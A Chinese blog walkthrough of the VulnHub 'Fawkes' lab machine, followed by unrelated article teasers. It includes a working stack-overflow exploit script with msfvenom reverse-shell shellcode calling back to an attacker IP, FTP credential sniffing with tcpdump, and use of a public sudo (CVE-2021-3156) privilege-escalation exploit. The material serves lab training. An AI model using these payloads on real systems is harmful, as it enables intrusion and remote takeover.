VulnHub项目:Fawkes

news2024/10/6 10:38:16

1、靶机地址

HarryPotter: Fawkes ~ VulnHub

该篇为哈利波特死亡圣器系列最终部,也是最难的一个靶机,难度真的是逐步提升!!!

2、渗透过程 

确认靶机IP,kali IP,探测靶机开放端口

详细的扫描下,发现21端口可以匿名访问,这里有两个ssh,22和2222,还有80端口和一个不知道啥玩意的9898端口

 先访问80端口,哇哦~很帅的一张图,但是没什么有用的

目录爆破,也没有什么有用的!

 那就先放着,试试ftp匿名登录,发现了个文件,server_hogwarts,下载到本地看看是个什么鬼

 这还是个可执行文件,受个权,执行下

 

 这边利用nc一下本地 9898端口,为啥要这样呢,运行那个后,没啥反应,打开ps查看下进程发现了东西,所以用nc试试,ps -aux|grep server就可以看到啦

 发现了是一个咒语的选择,好像没啥用,一般遇到这种可执行文件,本能的会想,是不是存在堆栈溢出漏洞,利用checksec检查下这个文件有没有防护措施,发现没得

  • STACK CANARY:在初始化堆栈时在栈底插入一个随机生成的 cookie,在函数返回前调用 __stack_chk_fail 检查 cookie 有没有发生变化,若发生变化则不返回,而直接终止程序。由于缓冲区溢出攻击时往往会覆盖掉 cookie 的值,故该保护机制开启时会导致常规的溢出攻击失效,程序会直接终止而不是跳转至攻击者注入的目标地址。
  • NX:开启时栈中数据没有执行权限,即攻击者不能通过缓冲区溢出注入攻击代码;
  • PIE:编译时将程序编译为位置无关, 即程序运行时各个段(如代码段等)加载的虚拟地址也是在装载时才确定,使程序的内存布局难以预料。

将kali上的ALSR安全机制关闭,该技术回导致地址空间随机化,不便调试

echo 0 > /proc/sys/kernel/randomize_va_space

使用edb进行分析

apt install edb-debugger

然后就是导入这个文件

 选择这个,点ok

 生成500个A进行一般探测

 在edb中点运行按钮,之后将500个A复制粘贴到那会的选择咒语界面,这边返回了个地址

发现变成了 0x41414141,而 ‘0x41’ 为 ‘A’ 的十六进制编码,说明我们输入的字符成功覆盖了函数返回地址,导致程序发生了错误跳转。

使用 msf-pattern 工具进行溢出点在输入字符串中位置的探测: msf-pattern_create -l 500

重新打开一次那个文件,还有edb,将生成的字符串输入到咒语选择的地方

提示我们此时 EIP 中的值为 0x64413764,即我们输入的字符串中编码为“\x64\x41\x37\x64”的字串进入了 EIP 中。查找该段编码对应的字符串在模式字符串中的偏移量: 

msf-pattern_offset -l 500 -q 64413764

也就是说从模式字符串中的第113个字符串开始造成了栈溢出。

python -c "print(112*'A' + 'BBBB' + 100*'C')"

 

发现第113、114、115、116个字符(“BBBB”)恰好进入 EIP,而其后的字符保留在栈中。

设想将反弹 shell 代码注入栈中,而使程序跳转到栈中执行(jmp esp),即可令靶机上的程序执行反弹 shell 代码生成反弹 shell。

找到 jmp esp 指令并记录其地址(0x08049d55) 

 msfvenom -p linux/x86/shell_reverse_tcp LHOST=192.168.56.146 LPORT=4545 -b "\x00" -f py

  • LHOST:改为 kali 的 IP;
  • LPORT:改为监听反弹 shell 的端口号;
  • -b "\x00":过滤坏字符(’\0’),避免输入提前终止。

写入脚本exp.py,将ip改为靶机ip

import struct, socket

buf =  b""
buf += b"\xd9\xd0\xbd\xd7\x21\xfc\xa7\xd9\x74\x24\xf4\x5a"
buf += b"\x29\xc9\xb1\x12\x31\x6a\x17\x83\xea\xfc\x03\xbd"
buf += b"\x32\x1e\x52\x70\xee\x29\x7e\x21\x53\x85\xeb\xc7"
buf += b"\xda\xc8\x5c\xa1\x11\x8a\x0e\x74\x1a\xb4\xfd\x06"
buf += b"\x13\xb2\x04\x6e\x64\xec\xcf\xfc\x0c\xef\x2f\x11"
buf += b"\x0c\x66\xce\xa1\xe8\x29\x40\x92\x47\xca\xeb\xf5"
buf += b"\x65\x4d\xb9\x9d\x1b\x61\x4d\x35\x8c\x52\x9e\xa7"
buf += b"\x25\x24\x03\x75\xe5\xbf\x25\xc9\x02\x0d\x25"

payload = 112 * b'A' + struct.pack('I',0x08049d55) + 32 * b'\x90' + buf

s=socket.socket()
s.connect(('靶机ip',9898))
s.send((payload))
s.close()

执行payload脚本 

本地开启监听,反弹shell成功

 这边发现了一个类似于密钥的东西,尝试ssh一下,用户名是harry,原本的22端口登录不上,这里试了2222端口,登录成功

 登录成功后尝试提权,发现sudo -l,有可利用的点,直接sudo -i提权,发现了第一个魂器和一个note.txt

horcrux_{NjogSGFSclkgUG90VGVyIGRFc1RyT3llZCBieSB2b2xEZU1vclQ=}

HaRrY PotTer dEsTrOyed by volDeMorT

Hello Admin!!

We have found that someone is trying to login to our ftp server by mistake.You are requested to analyze the traffic and figure out the user.

你好管理员! !

我们发现有人试图错误地登录我们的ftp服务器。你需要分析流量并找出用户。

根据提示,是要让我们把21端口的流量 监听分析一下,同时,使用ip a发现,这应该不是靶机本体,应该是在一个docker中,根据ip地址进行判断,这个2222端口应该是docker中的ssh,所以我们并没有进入到靶机本体的22端口,使用tcpdump -i eht0 port 21监听21端口流量,稍等一会

 发现了用户名和密码,尝试使用其用户名和密码对22端口ssh,发现登录成功!同时也查到了第二个魂器!再使用ip a 查看到,确实刚才是在docker中

 horcrux_{NzogTmFHaU5pIHRIZSBTbkFrZSBkZVN0cm9ZZWQgQnkgTmVWaWxsZSBMb25HYm9UVG9t}

NaGiNi tHe SnAke deStroYed By NeVille LonGboTTom

纳吉尼被纳威隆巴顿摧毁

 下一步就是进行提权,获取第三个魂器,通过查看sudo的版本,上网查看后发现该版本存在exp可以利用

https://github.com/worawit/CVE-2021-3156/blob/main/exploit_nss.py

复制上面github的exp,按照要求将其中sudo的path修改为靶机的地址,然后利用nc将其上传至靶机,上传的方式很多,什么开启kali的web,wget一下,scp等等

这边在靶机上监听4444端口 

 

在kali上访问靶机ip及端口,将修改好的exp上传 

 

 之后,在靶机上运行exp即可提权成功!

 horcrux_{ODogVm9sRGVNb3JUIGRFZmVBdGVkIGJZIGhBcnJZIFBvVFRlUg==}

VolDeMorT dEfeAted bY hArrY PoTTeR

伏地魔被哈利波特击败!

最后,渗透结束!哈利波特死亡圣器三部曲结束!

3、总结

该靶机难度还是很大的,其中需要不断地进行探索,尤其是对于堆栈溢出执行远程代码的漏洞,需要理解其中的原理,然后再不断地尝试找寻跳转下一步操作的地址,进行payload的注入,这一步花了很长时间,也是弱项,再有就是得判断当前环境是否处于类似于虚拟机或docker环境中,并非本体系统中,需要进行判断,docker逃逸也是一个需要去了解学习的点,后面会进行更新,最后就是利用sudo进行提权,有时候没什么思路需要借助一些提权辅助脚本,之前的渗透中也提到过,可以去下载使用,总之!渗透就是得细心,耐心,再耐心,才能会抓住一些细小的点!

vulnhub靶机,目前就先告一段落,后续会在内网渗透上持续更新了,请大家继续关注,共同学习进步!

本文来自互联网用户投稿,该文观点仅代表作者本人,不代表本站立场。本站仅提供信息存储空间服务,不拥有所有权,不承担相关法律责任。如若转载,请注明出处:http://www.coloradmin.cn/o/680136.html

如若内容造成侵权/违法违规/事实不符,请联系多彩编程网进行投诉反馈,一经查实,立即删除!

相关文章

ICLR 23 | 工业视觉小样本异常检测最新网络:Graphcore

来源:投稿 作者:橡皮 编辑:学姐 论文链接:https://openreview.net/pdf?idxzmqxHdZAwO 论文代码:尚未开源 1.背景 随着人工智能中深度视觉检测技术的快速发展,检测工业产品表面的异常/缺陷受到了前所未有…

scratch lenet(11): C语言实现 squashing function

文章目录 1. 目的2. Sigmoidal Function2.1 S2 用到 Sigmoidal Function2.2 Sigmoidal Function 的定义 3. Squashing Function3.1 改用 Sigmoid Suahsing function 术语3.2 具体到 hyperlolic tangent 这一 squahsing function 4. Squahsing function 的实现References 1. 目的…

设计模式之观察者模式笔记

设计模式之观察者模式笔记 说明Observer(观察者)目录观察者模式示例类图抽象主题角色类抽象观察者类具体主题角色类具体的观察者角色类测试类 说明 记录下学习设计模式-观察者模式的写法。JDK使用版本为1.8版本。 Observer(观察者) 意图:定义对象间的一种一对多的依赖关系&a…

Gradle构建系统macOS安装与使用

1.打开gradle.org并点击安装 2.先决条件 ,确认安装JDK1.8或者更高版本已安装 在终端输入brew install gradle进行安装 安装成功如下: 查看安装版本号gradle -v 使用gradle 1.创建目录demo并进入该目录 mkdir demo cd demo 2.gradle init 使用Gradle开始构建 输入2开始构建应…

DevOps系列文章之 docker插件实现多实例部署(IDEA插件)

1. Docker的安装以及开启远程访问 1.1 安装 # 检查虚拟机内核版本,必须是3.10及以上 uname -r # 安装docker yum install docker # 输入y确认安装 # 启动docker systemctl start docker # 查看docker版本 docker -v # 开机启动docker systemctl enable docker # 停…

Golang学习日志 ━━ gin-vue-admin换机重新配置的记录,很愚蠢,很傻瓜,很机械...自己使用

最近一直在弄AI,没时间搞gva,所以有点忘记了,代码升级管它呢,全部重来一遍~ 一、备份保存 根据经验和个人喜好,我特别不喜欢在框架下把一个应用分散在module、api、service等等目录下,这种目录分配方案将把…

图上作业法

目录 交通示意图的表示方法 图上作业法 (1)对流 (2)迂回 物资调运问题的图上作业法 交通路线不成圈 交通路线成圈 交通示意图的表示方法 交通示意图是用来表明收发点的大致位置、收发量、交通路线长度的图形。 图形表示…

java mail发送、接收邮件

java mail接收邮件 1、引入java mail依赖 <dependency><groupId>org.eclipse.angus</groupId><artifactId>angus-mail</artifactId><version>2.0.2</version> </dependency>2、编写代码 注意&#xff1a;下述代码中的服务器…

从BNO055传感器获取IMU数据-2

在前面的文章 从BNO055传感器获取IMU数据-1 中介绍了BNO055传感器&#xff0c;今天继续讲解应用示例。 传感器与Arduino接口 我从某宝购买了固定在带有支持组件的开发板上的 BNO055 传感器。从 Digi-Key 或贸泽购买 BNO055 并将其焊接到 7.54.4mm 28 引脚 LGA 至 DIP 转换器上…

Groovy基础

Groovy基础 学Groovy有什么用&#xff1f;&#xff1f;&#xff1f;一、Groovy简介二、Mac安装Groovy1、使用homebrew安装或官网下载2、配置环境变量3、重新加载环境变量 二、Groov基本语法三、更多特性和扩展四、Groovy简单使用1、Groovy中的字符串及三大语句结构2、Groovy类与…

1带你入门MATLAB图像处理图像类型转换(附matlab程序)

1.简述 学习目标&#xff1a; 图像类型的转换 常用图像格式 图像格式&#xff1a;是存储图像采用的文件格式。不同的操作系统、不同的图像处理软件&#xff0c;所支持的图像格式都有可能不同。 在实际应用中经常会遇到的图像格式有&#xff1a;BMP、GIF、TIFF、PCX、JPEG、P…

FFmpeg5.0源码阅读——avformat_open_input

摘要&#xff1a;本文主要描述了FFmpeg中用于打开文件接口avformat_open_input的具体调用流程&#xff0c;详细描述了该接口被调用时所作的具体工作。   关键字&#xff1a;ffmpeg、avformat_open_input   注意&#xff1a;读者需要了解FFmpeg的基本使用流程&#xff0c;以…

力扣动态规划专题(五)子序列问题 不连续子序列与连续子序列 步骤及C++实现

文章目录 300.最长递增子序列674.最长连续递增子序列动态规划贪心算法 718. 最长重复子数组二维dp数组一维dp数组 1143.最长公共子序列1035.不相交的线53. 最大子序和动态规划贪心算法 300.最长递增子序列 步骤 确定dp数组以及下标的含义 dp[i]&#xff1a;i之前&#xff08;包…

【数据结构】单链表 创建 插入 删除 查找 完整代码

3.1 单链表 3.1.1 定义 注&#xff1a; 元素离散的分布在存储空间中&#xff0c;所以单链表是非随机存取的存储结构。 即不能直接找到表中某个特定的结点&#xff0c;需要从表头开始遍历&#xff0c;依次查找。 定义的代码 typedef struct LNode {ElemType data;//每个节点存放…

第三章 处理机调度与死锁

目录 一、调度的概念、层次 2.1 调度的基本概念 2.2 调度的三个层次 2.2.1 高级调度 2.2.2 低级调度 2.2.3 中级调度 2.2.3.1 进程的挂起态 2.2.4 三层调度的联系、对比 二、进程调度的时机、切换与过程、方式 2.1 进程调度的时机 2.2 进程调度的方式 2.2.1 非抢占…

计网复习题

一、单项选择题 OSI参考模型的物理层负责&#xff08;&#xff09;。 A&#xff0e;格式化报文 B&#xff0e;为数据选择通过网络的路由(网络层) C&#xff0e;定义连接到介质的特性 D&#xff0e;提供远程文件访问能力(应用层) 下列选项中&#xff0c;不属于网络体系结构中所…

常用git操作总结

文章目录 一、git 分支命名规范&#xff08;1&#xff09;master 主分支&#xff08;2&#xff09;develop 开发分支&#xff08;3&#xff09;feature 分支&#xff08;一般简写为feat&#xff09;&#xff08;4&#xff09;hotfix 分支&#xff08;一般简写为fix&#xff09;…

如何用canvas实现一个富文本编辑器

富文本编辑器相信大家都用过&#xff0c;相关的开源项目也很多&#xff0c;虽然具体的实现不一样&#xff0c;但是大部分都是使用DOM实现的&#xff0c;但其实还有一种实现方式&#xff0c;那就是使用HTML5的canvas&#xff0c;本文会带大家使用canvas简单实现一个类似Word的富…

分布式系统学习第四天 fastcgi学习

目录 1. Nginx作为web服务器处理请求 2. http协议复习 3. fastCGI 3.1 CGI 3.3 fastCGI和spawn-fcgi安装 3.4 nginx && fastcgi 3.5我的总结 其他知识点 1. Nginx作为web服务器处理请求 nginx不能处理动态请求 因此把请求发送给fastCGI对动态请求进行处理 静态…